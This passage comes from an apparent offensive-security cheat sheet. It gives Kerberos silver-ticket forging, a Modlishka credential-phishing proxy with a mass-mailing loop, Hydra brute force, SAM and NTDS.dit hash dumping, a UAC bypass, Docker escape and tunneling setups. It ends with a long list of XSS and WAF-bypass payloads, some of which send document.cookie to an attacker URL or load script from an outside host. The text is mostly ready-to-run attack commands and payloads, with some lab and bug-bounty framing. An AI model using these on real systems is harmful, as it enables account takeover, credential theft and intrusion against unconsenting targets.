## if you have password

Rubeus.exe asktgt /user:Username /password:password /domain:abc.local /ptt

```

### Runas Command&#x20;

```
runas /user:domain\username "C:\Windows\System32\cmd.exe"
```

### PS-Session and Cred Object

```
$SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain\user', $SecPassword)

enter-pssession -computer abc.corp.local -credential $c
```

## Silver Ticket Attack

In a silver ticket attack, the attacker can forge a valid TGS (Ticket granting Service) and then attacker can access that service using that TGS.

For this attack we need the NTLM hash of the service account user. for this we can use online tools, or below python code

```python
# Below code will give NTLM Hash of test1234
import hashlib,binascii
hash = hashlib.new('md4', "test1234".encode('utf-16le')).digest();
print(binascii.hexlify(hash));
```

For Domain SID we can use&#x20;

```python
# Below command will print the Domain SID
impacket-lookupsid domain/username:password@10.10.231.85
```

now we have both NTLM hash and the Domain SID so we can craft the Silver Ticket Attack, for this i like to use **Impacket-ticketer**

<pre class="language-python"><code class="lang-python"><strong>impacket-ticketer -spn MSSQLSvc/srv1.klendathu.vl -domain klendathu.vl -domain-sid S-1-5-21-641890747-1618203462-755025521 -nthash E2F156A20FA3AC2B16768F8ADD53D72C administrator 
</strong></code></pre>

this will create a administrator.ccache file

```python
#export the ticker
export KRB5CCNAME=administrator.ccache

# then use this ticket to access any service like MSSQL

impacket-mssqlclient -k -no-pass <domain name or subdomain>

#e.g

impacket-mssqlclient -k -no-pass SRV1.Klendathu.vl
```


# Phishing using Modlishka

## Installation

```python
wget https://github.com/drk1wi/Modlishka/releases/download/v.1.1.0/Modlishka-linux-amd64
chmod +x Modlishka-linux-amd64
./Modlishka-linux-amd64 -h
```

<figure><img src="/files/x4atPappOadWxoc5aPbc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/uBuV3ZkmoblpJFPgWzZ6" alt=""><figcaption></figcaption></figure>

## Usage

Modlishka need a conf file for its usage. it also requires certificate and private key for successfull attack.

```json
{
  //This Domain will the one, which will be visited by the victim (Fake Domain)
  "proxyDomain": "programmer-security.com",
  "listeningAddress": "0.0.0.0",

  //This will be the real domain which is legitimate. (Real Domain)
  "target": "programmersecurity.com",
  "targetResources": "",
  "targetRules": "",
  "terminateTriggers": "",
  "terminateRedirectUrl": "",
  "trackingCookie": "id",
  "trackingParam": "id",
  "jsRules":"",
  "forceHTTPS": false,
  "forceHTTP": false,
  "dynamicMode": false,
  "debug": true,
  "logPostOnly": false,
  "disableSecurity": false,
  "log": "requests.log",  // all logs will be in this file
  "plugins": "all",
  "cert": "",          //your certificate here
  "certKey": "",        // your private key here
  "certPool": ""
}
```

## Attacking in a Lab Environment.

In a lab environment, you can somehow modify the DNS record of the environment to point any random domain, like \`**test.programmersecurity.com**,\` to your local IP address. So when a victim visits test.programmersecurity.com, he will be pointing towards your IP.

Now, here we will use modlishka, so that when a user visits test.programmersecurity.com, they should see the contents of programmersecurity.com. So in this case, Modlishka works as a reverse proxy.

When the victim's traffic hits your IP on port 443 (HTTPS) or 80 (HTTP), Modlishka intercepts it. Instead of hosting a fake static HTML page, Modlishka acts as a dynamic bridge:

* It establishes a connection to the real backend server (`programmersecurity.com`).
* It pulls the legitimate login pages, assets, and scripts in real-time.
* It serves this authentic content back to the victim.

### Generating Certificates

We can generate legitimate ssl certificate as well.

```
openssl genrsa -out test.programmersecurity.com.key 2048
openssl req -new -key test.programmersecurity.com.key -out test.programmersecurity.com.csr -utf8 -batch -subj '/CN=test.programmersecurity.com'
```

### Using awk&#x20;

The commands below will help you to paste Cert and private key easily in your Modlishka conf file.

```
awk -v ORS='\\n' '1' test.programmersecurity.com.crt
awk -v ORS='\\n' '1' test.programmersecurity.com.key
```

### Config file

```
{
  "proxyDomain": "test.programmersecurity.com",
  "listeningAddress": "0.0.0.0",
  "target": "https://login.programmersecurity.com",
  "targetResources": "",
  "targetRules": "",
  "terminateTriggers": "",
  "terminateRedirectUrl": "",
  "trackingCookie": "id",
  "trackingParam": "id",
  "jsRules": "",
  "forceHTTPS": false,
  "forceHTTP": false,
  "dynamicMode": false,
  "debug": true,
  "logPostOnly": false,
  "disableSecurity": true,
  "log": "requests.log",
  "plugins": "all",
  "cert": "-----BEGIN CERTIFICATE-----\n[SINGLE_LINE_CRT]\n-----END CERTIFICATE-----\n",
  "certKey": "-----BEGIN PRIVATE KEY-----\n[SINGLE_LINE_KEY]\n-----END PRIVATE KEY-----\n",
  "certPool": ""
}
```

### Run Modlishka

you can create your own json config file.

```
./modlishka -config programmersecurity_proxy.json
```

<figure><img src="/files/qqMaXV4xWGOkKf0qP0LX" alt=""><figcaption></figcaption></figure>

### Send emails using swaks

```python
while read address; do swaks -t $address -from 'robert@programmersecurity.com' -body "hey https://test.programmersecurity.com" -header "Subject: lol" -server 10.10.10.10; done < emails.txt
```


# Hydra

## Hydra Supported Services

```bash
hydra -h | grep "Supported services" | tr ":" "\n" | tr " " "\n" | column -e
```

<figure><img src="/files/zqiMjPSLmw6egW9nEWYT" alt=""><figcaption></figcaption></figure>

## HTTP AUTH Bruteforce

We can use hydra to pass it colon seperated wordlist with default credentials and we can try to do a bruteforce attack on the http login, i will use the wordlist from seclists which containes the **default credentials by colon seperation**

```python
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt http-get://94.237.53.3:40213/
```

<figure><img src="/files/di8ZcwwXGxGIDq54KAxx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/YbYK1g9h2v0WcplvsyQa" alt=""><figcaption><p>Successfull Login using the creds found</p></figcaption></figure>

## Hydra POST Form BruteForce Attack

If you have a login page and you need to bruteforce the creds for that, one way is you can use the burpsuite Intruder, the Second thing which we can use is Hydra Post Form as well&#x20;

there are 3 things we need to add after http-post-form, -s is for port

1. Login Endpoint
2. Parameters
3. Fail or success msg OR Something from Page Source

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt 94.237.63.83 -s 51867 http-post-form "/login.php:username=^USER^&password=^PASS^:<form name='login'" -f
```

<figure><img src="/files/4Ml696poD1VIWdF4p9zZ" alt=""><figcaption></figcaption></figure>

## Hydra on RDP Port 3389

```python
hydra -L users.txt -P passwords.txt rdp://127.0.0.1
```

### Hydra on RDP with Multipe IPs

```
hydra -L users.txt -P passwords.txt -M IPs.txt rdp
```


# Cewl

We can use CEWL to create keywords from the website, sometimes these keywords can be found out to be the password

## Generating Keywords using CEWL

```python
cewl -m5 --lowercase -w wordlist.txt http://192.168.10.10
```


# Making Custom Wordlists (Usernames)

## Username Anarchy (Tool)

<https://github.com/urbanadventurer/username-anarchy.git>

We can clone this and create a custom wordlist

<figure><img src="/files/yOgyhcKRimmHzqbo0ff1" alt=""><figcaption></figcaption></figure>

## NameMash

We can use this script to generate some good usernames

{% embed url="<https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py>" %}

<figure><img src="/files/b1iM9lxj2rdgjI0KsLYE" alt=""><figcaption></figcaption></figure>


# JSON to txt Wordlist

We can Convert JSON wordlist to text File which can be passed to Gobuster or FFUF using the below command

## JSON to TXT Wordlist

```
jq '.[0:10000]' names.json | grep ","| cut -d '"' -f 2 > names.txt
```


# Getting a Fully Interactive TTY Shell

## Method 1: Python TTY Module

```javascript
python3 -c 'import pty;pty.spawn("/bin/bash")'

//Now press CTRL+Z to send the shell in the background

stty -a // get the rows and columns from the first line
stty raw -echo;fg // get back in the shell, Press enter 2 times to get back in

// run the below commands on the compromised machine

stty rows 26 cols 118 // based on the output of stty -a

export TERM=xterm
export TERM=xterm-256color // for colors
exec /bin/bash //I always do this, that's my methodology

// now you should have a full stable shell

```

<figure><img src="/files/Y5RDwKZg7KVpAUO4raVR" alt=""><figcaption><p>stty -a command</p></figcaption></figure>

## Method 2: Using Script Binary (If it is installed on Target System)

```javascript
which script //confirm if script is installed or not
script /dev/null -c bash 

// Now press CTRL+Z to send the shell in the background

stty raw -echo;fg // get back in the shell, Press enter 2 times to get back in

export TERM=xterm

// Now you have a good TTY shell
```

<figure><img src="/files/QdQwusWnZiCw6grdWi9n" alt=""><figcaption></figcaption></figure>

## pwncat-cs (Automated Way) Best One

We can use pwncat listener to get a fully TTY shell automtically

```python
pwncat-cs --listen -p 4444
```

<figure><img src="/files/hlMSI7flt3dqbUOoxYGt" alt=""><figcaption></figcaption></figure>

it has file upload and download feature as well, you need to Press CTRL+D to go to your Local machine and then upload and download files from the target machine to the local machine.

## Penelope Listener (Automated Way)

We can use penelope instead of netcat to get an interactive reverse shell, this automatically upgrades our shell to fully tty

```python
penelope 443  # Start a listener on port 443
```

<figure><img src="/files/VeWVaVfXYpzT3LM9QuRO" alt=""><figcaption></figcaption></figure>


# Docker Container Escape

## Looking For Potential Files&#x20;

Whenever you are in a docker container, always try to enumerate the system as much as you can, because you will always find something interesting in it.

```javascript
// Potential Directories where you can find something interesting

/opt
/home
/home/<username>
/tmp
/var/www/html
```

## Doing Reverse Proxy Using Chisel

We can also do **reverse proxy using chisel**. It will help us in such a way that you want to connect to MySQL or Redis database and you are not having such tools installed on the docker container so you can do a reverse proxy and connect to MySQL or redis using proxychains

```javascript
//Running Chisel on the Kali Linux First

chisel server --reverse -p 1234 --socks5


// Running Chisel on the docker container

./chisel client <ip of kali linux>:1234 R:socks

// Now you can use proxychains and access the things on docker container
```

## Looking For IP Addresses

Sometimes you cannot run **ip a** or **ifconfig** command so you can run the following to obtain the ip address&#x20;

```javascript
cat /proc/net/fib_trie // this sometimes shows the ip addresses of different services
```

<figure><img src="/files/HpUcEHIzl3rSnYfmmt0z" alt=""><figcaption></figcaption></figure>

## Route Information

We can look for routes using below command

```python
cat /proc/net/route
```

<figure><img src="/files/aC1dvTtQh5Nx48luYYiI" alt=""><figcaption></figcaption></figure>

to convert the hexadecimal ip we can use below python script

```python
import sys

def hex_to_ip(hex_str):
    # Split the hex string into 4 chunks of 2 characters (octets)
    octets = [hex_str[i:i+2] for i in range(0, len(hex_str), 2)]
    
    # Reverse the order of octets for little-endian format
    octets.reverse()
    
    # Convert each octet from hex to decimal
    ip_octets = [str(int(octet, 16)) for octet in octets]
    
    # Join the decimal octets with dots to form an IP address
    ip_address = ".".join(ip_octets)
    
    return ip_address

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python hex_to_ip.py <hex_value>")
        sys.exit(1)
    
    hex_value = sys.argv[1]
    
    if len(hex_value) != 8:
        print("Error: The hex value should be 8 characters long.")
        sys.exit(1)
    
    ip = hex_to_ip(hex_value)
    print(f"Converted IP: {ip}")
```

## Command To See Open Port

if you want to see an open port and there is no Nmap or Netcat, you can run the below command

```python
cat < /dev/tcp/172.18.0.1/3306
```

<figure><img src="/files/YXWApAAmVdQtSM9I4Ta0" alt=""><figcaption></figcaption></figure>

## Automated Tools

### Deepce

We can use Deepce tool from the below link to enumerate docker containers for potential escapes

{% embed url="<https://github.com/stealthcopter/deepce>" %}

```python
bash deepce.sh
```

<figure><img src="/files/M4R4F3dpiDn7QJ6zWqcw" alt=""><figcaption></figcaption></figure>

## Docker Privileged Mode Enabled

We can escalate our privileges from docker container to host machine if we have privilege mode turned on, in this case we can mount the Host Files and Folders on the Docker Container and access them

```python
 mkdir /mnt/host
 mount /dev/xvda1 /mnt/host/
 cd /mnt/host/
# now you can see the Host OS Files and Folders
```

<figure><img src="/files/F4vwypEnGFRdAhAOkc8y" alt=""><figcaption></figcaption></figure>


# Tunneling and Pivoting

## For Loop Command

```
for i in {1..255};do ping -c 1 192.168.110.$i > /dev/null;if [ $? -eq 0 ];then echo
192.168.110.$i;fi;done
```

## Ligolo-ng

Ligolo makes a tunnel just like a VPN; there is no need to use proxychains

1. Download Agent and Proxy from Ligolo Github Page
2. Agent will Run on Victim Machine and Proxy Will run on Attacker Machine (Kali-Linux)

Before Running agents and Proxy you need to run 2 commands on your kali linux

```python
# These commands will set the ligolo interface on your kali linux

sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up

```

Then We need to run the Proxy

```python
ligolo-linux-proxy -selfcert -laddr 0.0.0.0:443
```

<figure><img src="/files/iUw8yQDrDbd4OmN6IRn4" alt=""><figcaption></figcaption></figure>

after that upload the Agent on the Targer machine and run the below command

```python
./lin-agent -connect 10.8.5.85:11601 -ignore-cert
```

<figure><img src="/files/E11Ro9b2cA1pMwWfAEpK" alt=""><figcaption></figcaption></figure>

After that, you need to add the route

```python
sudo ip route add 172.18.0.0/24 dev ligolo
```

then

```
start
```

<figure><img src="/files/7Gv1tBrvUyQWSlDofaFc" alt=""><figcaption></figcaption></figure>

## Chisel

We can use chisel as well for tunneling,&#x20;

```python
chisel server -p 1234 --reverse # Run on kali linux (Attacker Machine)
```

<figure><img src="/files/NXtM8d7gXRIgbSlh6Soh" alt=""><figcaption></figcaption></figure>

```python
./chisel-linux client 10.8.5.85:1234 R:socks # Run on Victim Machine
```

<figure><img src="/files/ZvWAh2Tn0WGoWDsU9JWs" alt=""><figcaption></figcaption></figure>

for this to work your /etc/proxychains4.conf file should have following entry

<figure><img src="/files/Q2gvG6mHFsjt3PUMN6Cx" alt=""><figcaption></figcaption></figure>


# Methodology

## SEBackupPrivilege

if you have SEBackup Privilege, then you can access any file on the system. the best way is to get sam and system file and download those to your system and get the administrator hash

<pre class="language-python"><code class="lang-python">
reg save hklm\sam c:\users\username\sam

reg save hklm\system c:\users\username\system


<strong># download sam and system on your kali machine and then use impacket-secretdump
</strong>
impacket-secretsdump -sam sam -system system LOCAL 

</code></pre>

<figure><img src="/files/LHwWq2vga41OcuB3NAwX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/NsyfVw2qgBQi4LHTloa0" alt=""><figcaption></figcaption></figure>

### Second Method : SEBackupPrivilege (Domain Joined Machines)

We can use the Second Method for Domain Joined Machines&#x20;

Create a file called **test.dsh**

```
persistent nowriters
add volume c: alias owo
create
expose %owo% z:
```

<figure><img src="/files/ZLP09nrn4kgdzU6czZqE" alt=""><figcaption></figcaption></figure>

Upload this file to the target machine and then run the following command

```python
diskshadow /s test.dsh

# then run below command 

robocopy /b z:\windows\ntds . ntds.dit
```

after this you should get ntds.dit file in your current working directory

we also need system file for this to work

```python
reg save hklm\system c:\users\username\system
```

after you can use impacket-secretsdump and get the administrator hash.

```python
impacket-secretsdump -ntds ntds.dit -system system LOCAL 
```

## RUNAS (Changing user Sessions)

```python
runas /user:Administrator cmd # if you have the password of admin user 
```

## Bypassing UAC

we can bypass UAC in rdp session in a powershell shell by running the following command

```python
Start-Process cmd.exe -verb runas # this will give you full Admin Privileges
```


# Bug Bounty Methodology

## VPS Automation (using Screens)

While Doing Bug Bounty There are alot of tasks which we need to automate and they take alot of time so we need to keep them running while we exit from the VPS. For this Purpose we have **Screens** which i use most of the times

### Make a New Screen

```
screen -S new-screen-name

e.g

screen -S programmerboy
```

<figure><img src="/files/YC1iVWsmxugC5uqp4AOg" alt=""><figcaption></figcaption></figure>

now you will have a new terminal and that will be your screen terminal

### Detaching the Screen&#x20;

```
CTRL + A + D
```

<figure><img src="/files/bMeMQx4G5JDKSeZ8zBtb" alt=""><figcaption></figcaption></figure>

### List the Screens

```
screen -ls
```

<figure><img src="/files/D1zyeMfDDhXDLA4mA2je" alt=""><figcaption></figcaption></figure>

### Get Back to Screen

```
screen -r programmerboy
```

<figure><img src="/files/HtMHiPPkGZIMud3C9yll" alt=""><figcaption><p>after this you will be back in your screen</p></figcaption></figure>

## TMUX Usage

We can also use TMUX and that is very useful for bug bounty because we our processes can be running in the backend

```python
tmux new -s <Session-name> # Make a new Session

tmux ls  # List the sessions

tmux attach -t <Session-name> # attach to the session 

tmux source-file ~/.tmux.conf # after making changes to tmux.conf file

# Prefix Key is CTRL+B

preix key + d  # detach the from tmux

prefix key + c # Create a new windows

prefix key + <number of windows>  # move to that window

Prefix Key + ,  # Rename the window

prefix key + [  # Enter Copy Mode

prefix key + % # Split Screen vertically

prefix key + " # Split Screen Horizontally





```

## Subdomains

### Amass

```python
amass enum -brute -active -d domain.com -o amass-output.txt
```

### Assetfinder

```
assetfinder --subs-only domain.com
```

### SubFinder

```
subfinder -d domain.com -all
```

### Gau&#x20;

```
gau --threads 5 --subs example.com |  unfurl -u domains | sort -u -o output_unfurl.txt
```

### Waybackurls

```
waybackurls example.com |  unfurl -u domains | sort -u -o output.txt
```

## Discover the IP Range

Visit this website to find the ip ranges

{% embed url="<https://bgp.he.net/>" %}

<figure><img src="/files/qc9Ps0CxWK66wzThmCru" alt=""><figcaption></figcaption></figure>

## Alive Subdomains

### HTTPX

```
cat domains.txt | httpx -title -wc -sc -cl -ct -location -web-server -asn -o alive-subdomains.txt 
```

## Finding JS Files From a Domain

I always find for the Javascript files whenever i am given a domain and i use a tool called GolinkFinder

{% embed url="<https://github.com/0xsha/GoLinkFinder>" %}

```python
GoLinkFinder -d https://domain.com 
```

<figure><img src="/files/HgfqVKwr5JbMNZAWVejG" alt=""><figcaption></figcaption></figure>

## Nuclei

### Nuclei Basic Command

```
nuclei -target 10.10.161.39
```

<figure><img src="/files/D1QKJmhrKrz1CPbWv0dj" alt=""><figcaption></figcaption></figure>

### Nuclei with Specific template

```
nuclei -target 10.10.161.39 -t CVE-2024-57727.yaml
```

<figure><img src="/files/803kIKb2J2IXAYFyMBGo" alt=""><figcaption></figcaption></figure>

#### Nuclei with list of domains

```
nuclei -l targets.txt -o nuclei_results.txt
```

#### Nuclei Stealth Scan

```python
nuclei -l domains.txt -tags cve,misconfig,takeover -severity critical,high -rl 50 -c 10 -no-interactsh -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -o nuclei_results.txt
```


# XSS

Below are the commands and some automation stuff which normally use, some of these i have got from different places like twitter or linkedin

## XSS Basic Payloads

```python
"><img src=x onerror=prompt(document.domain)>
"><img src=x onerror=confirm(1)>
"><img src=x onerror=alert(1)>
%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
javascript:alert(document.cookie)
```

## WAF Bypass Payloads

```python
"><img/src/onerror=import('//domain/')>"@yourdomain
013371337;ext=<img/src/onerror=import('//domain/')>

<Svg Only=1 OnLoad=confirm(document.domain)>
<Svg/OnLoad=alert(1337)>"@gmail.com
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ=="))>
<svg onload=alert&#0000000040document.cookie)>
<svg onload=alert&#0000000040"1")><””>
<Img Src=//X55.is OnLoad%0C=import(Src)>
%3csvg/onload=window%5b"al"+"ert"%5d`1337`%3e
%3Csvg%20onload=alert(%22MrHex88%22)%3E
%3Cimg%20src=x%20onerror=alert(%22MrHex88%22)%3E
"><svg onmouseover="confirm&#0000000040document.domain)
<Img Src=OnXSS OnError=confirm(1337)>
'%3e%3cscript%3ealert(5*5)%3c%2fscript%3eejj4sbx5w4o
javascript:var a="ale";var b="rt";var c="()";decodeURI("<button popovertarget=x>Click me</button><hvita onbeforetoggle="+a+b+c+" popover id=x>Hvita</hvita>")
<a/href="javascript:Reflect.get(frames,'ale'+'rt')(Reflect.get(document,'coo'+'kie'))">ClickMe
<Script>window.valueOf=alert;window%2B1</Script>
<svg/onload=location=location.hash.substr(1)>#javascript:alert(1)


"><form onformdata%3Dwindow.confirm(cookie)><button>XSS here<!--
1%22onfocus=%27alert%28document.cookie%29%27%20autofocus=
1%22onfocus=%27window.alert%28document.cookie%29%27%20autofocus=
"><𝘀𝘃𝗴+𝗼𝗻𝗹𝗼𝗮𝗱=𝗰𝗼𝗻𝗳𝗶𝗿𝗺(𝗰𝗼𝗼𝗸𝗶𝗲)> 
- 1'"();<test><ScRiPt >window.alert("XSS_WAF_BYPASS")
'"><img src=x onerror=alert("xss!")>.pdf


"><input%252bTyPE%25253d"hxlxmj"%252bSTyLe%25253d"display%25253anone%25253b"%252bonfocus%25253d"this.style.display%25253d'block'%25253b%252bthis.onfocus%25253dnull%25253b"%252boNMoUseOVer%25253d"this['onmo'%25252b'useover']%25253dnull%25253beval(String.fromCharCode(99,111,110,102,105,114,109,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))%25253b"%252bAuToFOcus>
%3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E
<sVG/oNLY%3d1/**/On+ONloaD%3dco\u006efirm%26%23x28%3b%26%23x29%3b>
&#34;&gt;&lt;track/onerror=&#x27;confirm\%601\%60&#x27;&gt;
"><track/onerror='confirm`1`'>
%3Cdiv%20id%3D%22load%22%3E%3C%2Fdiv%3E%3Cscript%3Evar%20i%20%3D%20document.createElement%28%27iframe%27%29%3B%20i.style.display%20%3D%20%27none%27%3B%20i.onload%20%3D%20function%28%29%20%7B%20i.contentWindow.location.href%20%3D%20%27%2F%2Fxss.today%27%3B%20%7D%3B%20document.getElementById%28%27load%27%29.appendChild%28i%29%3B%3C%2Fscript%3E
<vIdeO><sourCe onerror="['al\u0065'+'rt'][0]['\x63onstructor']['\x63onstructor']('return this')()[['al\u0065'+'rt'][0]]([String.fromCharCode(8238)+[!+[]+!+[]]+[![]+[]][+[]]])">
<video><source onerror="alert.constructor.constructor('return this')().alert('‏0f')">
<a href="#" id="uniqueLink">Click me</a> <script> (function() { var a = ['\x6F\x70\x65\x6E', '\x77\x72\x69\x74\x65', '\x63\x6C\x6F\x73\x65', '\x70\x72\x69\x6E\x74', '\x61\x6C\x65\x72\x74']; var b = ['@', 'h', 'x', 'l', 'x', 'm', 'j']; var c = ['B', '1', 'P', '4', '$', '$']; document.getElementById('uniqueLink').onclick = function() { var w = window[a[0]](); w.document[a[1]](b.join('')); w.document[a[2]](); w[a[3]](); window[a[4]](c.join('')); }; })(); </script>
<sCrIpT>(function(){var a=[97,108,101,114,116];var
b=String.fromCharCode.apply(null,a);var c=[88,115,112,108,111,105,116];var d=String.fromCharCode.apply(null,c);window[b](d);})()</sCrIpT>
<DiV sTylE="WidTH:100&#37;;HeIgHt:100vH&#59;" oNpOINteROvEr="var _0x1abc=['\x63','\x6F','\x6E','\x73','\x74','\x72','\x75','\x63','\x74','\x6F','\x72'];var _0x2bcd=['\x61','\x6C','\x65','\x72','\x74','\x28','\x64','\x6F','\x63','\x75','\x6D','\x65','\x6E','\x74','\x2E','\x64','\x6F','\x6D','\x61','\x69','\x6E','\x29'];[][_0x1abc.join('')][_0x1abc.join('')](_0x2bcd.join(''))((97^0)===97?1:0);"></dIV>
<div style="width:100%;height:100vh;" onpointerover="[][decodeURIComponent('%63%6F%6E%73%74%72%75%63%74%6F%72')][decodeURIComponent('%63%6F%6E%73%74%72%75%63%74%6F%72')](decodeURIComponent('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%64%6F%6D%61%69%6E%29'))()"> </div>
<div onpointerover="ja&#x76;ascr&#x69;pt:eva&#x6C;(decodeURICompo&#110;ent(String.fromCharCode(97, 108, 101, 114, 116, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 100, 111, 109, 97, 105, 110, 41)))" style="width:100%;height:100vh;"></div>
<div onpointerover="javascript:alert(document.domain)" style="width:100%;height:100vh;"></div>
<svg onload=(function(){let arr=[41,49,40,116,114,101,108,97].reverse().map(e=>String.fromCharCode(e));let func=new Function(...arr);func();})()>
<svg onload="alert(1)"></svg>
jaVasCript:/*-/*`/*\`/*'/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//%0D%0A%0d%0a//%0D%0A%0d%0a//%0D%0A%0d%0a//%0D%0A%0d%0a//%0D%0A%252f%252a*/(/*%252f%252a*/*&#x252f;&#x252a;prompt(1)&#x252f;&#x253b;/**/;eval(atob('YWxlcnQoIkhpISIp'))//%0D%0A%0d%0a//%0D%0A%0d%0a//%0D%0A%0d%0a//%0D%0A%0d%0a//%0D%0A%0d%0a//%0D%0A%252f%252a*/)//
<select><noembed></select><script x='a@b'a> y='a@b'//a@b%0a\u0061lert('CYBERTIX')</script x>


<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
"'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>
<math><x xlink:href=javascript:confirm`1`>click
<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/
<svg onload=alert&#0000000040document.cookie)>
JavaScript://%250Aalert?.(1)//
'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!-->
</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=
/*${/*/;{/**/(alert)(1)}//><Base/Href=//google.com\76-->
<detalhes%0Aopen%0AonToGgle%0A=%0Aabc=(co\u006efirm);abc%28%60xss%60%26%230000000000000000041//
xss'"><iframe srcdoc='%26lt;script>;alert(1)%26lt;/script>'>
javascript:%ef%bb%bfalert(XSS)
<input accesskey=X onclick="self['wind'+'ow']['one'+'rror']=alert;throw 1337;">
<svg onload="[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162'] ('\141\154\145\162\164\50\61\51')()">
"><video><source onerror=eval(atob(http://this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYXlkaW5ueXVudXMueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61;>
&#34;&gt;&lt;track/onerror=&#x27;confirm\%601\%60&#x27;&gt;
<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8+Cjwvc3ZnPg==hashtag#x" /></svg>
"`'><script>\xE2\x80\x87javascript:alert(1)</script>
<img/src=x onError="`${x}`;alert(`Hello`);">
"`'><script>\xE2\x80\x87javascript:alert(1)</script>
"%2Bself[%2F*foo*%2F'alert'%2F*bar*%2F](self[%2F*foo*%2F'document'%2F*bar*%2F]['domain'])%2F%2F
"\/><img%20s+src+c=x%20on+onerror+%20="alert(1)"\>
&#34;&gt;&lt;track/onerror=&#x27;confirm\%601\%60&#x27;&gt;


<svg/onload=location=‘javas’%2B‘cript:’%2B
‘ale’%2B‘rt’%2Blocation.hash.substr(1)>#(1)

<svg/onload=location=/javas/.source%2B/cript:/.source%2B
/ale/.source%2B/rt/.source%2Blocation.hash.substr(1)>#(1)

"'`//><Svg+Only%3d1+OnLoad%3dconfirm(atob("WW91IGhhdmUgYmVlbiBoYWNrZWQgYnkgb3R0ZXJseSE"))>
"%2Bself[%2F*foo*%2F'alert'%2F*bar*%2F](self[%2F*foo*%2F'document'%2F*bar*%2F]['domain'])%2F%2F
<SCRIPT>location=%27javasCript:alert\x281\x29%27</SCRIPT>
';k='e'%0Atop['al'+k+'rt'](1)//
"';k='e'%0Atop['al'+k+'rt'](1)//"
<Img Src=//X55.is OnLoad%0C=import(Src)>
<img/src/onerror=alert/1337/(1)>
<img/src/onerror=alert//&NewLine;(2)>
<img/src/onerror=alert&sol;&sol;(3)>
'"/><script%20>alert(document.domain)<%2fscript>.css
<iframe srcdoc="<img src=x onerror=alert(999)>"></iframe>
/path?next=javascript:top[/al/.source+/ert/.source](document.cookie)
login?redirectUrl=javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.domain
<details%0Aopen%0AonToGgle%0A=%0Aabc=(co\u006efirm);abc(VulneravelXSS%26%2300000000000000000041//


<script>
  location='https://XX-LAB-URL-XX/?query=%3C%2FScRiPt%20%3E%3Cimg%20src%3Da%20onerror%3D%28document.location%29%3D%22https%3A%2F%2FXX-EXPLOIT-URL-XX%2F%3F%22%2B%28document.cookie%29%3E';
</script>
```

## XSS using XSSTRIKE

we can use xsstrike to do some automation and try to find some XSS&#x20;

```python
python xsstrike.py -u 'http://10.129.125.63/phishing/index.php?url=test'
```

<figure><img src="/files/KaLk6MEXXBokQLLJNbRM" alt=""><figcaption></figcaption></figure>

## XSS Basic Vector by KNOXSS

this attack vector works in **HTML injection** and **js injection** cases

```python
1'//"</Script><Img/Src%0AOnError=alert(1)//


#another Best payload for XSS (Dont know the author of this payload) 
"><a nope="%26quot;x%26quot;"onmouseover="Reflect.get(frames,'ale'+'rt')(Reflect.get(document,'coo'+'kie'))">
```

## Automation of XSS using Knoxnl

```javascript
katana -list url.txt -c 50 -d 4 -jc -kf | grep "=" | uro | qsreplace 'xss'| httpx | anew xss.txt 

knoxnl -i xss.txt -X BOTH -afb -s -o xssoutput.txt
```

<figure><img src="/files/vromrlZdBEJxQp5WUFVV" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/WEJEHsLdH5DVb2X1NkVY" alt=""><figcaption></figcaption></figure>

## Blind XSS

### Basic Blind XSS Payloads

<pre class="language-html"><code class="lang-html"><strong>&#x3C;-- Replace OUR_IP with your Server IP Address -->
</strong><strong>
</strong><strong>&#x3C;script src=http://OUR_IP>&#x3C;/script>
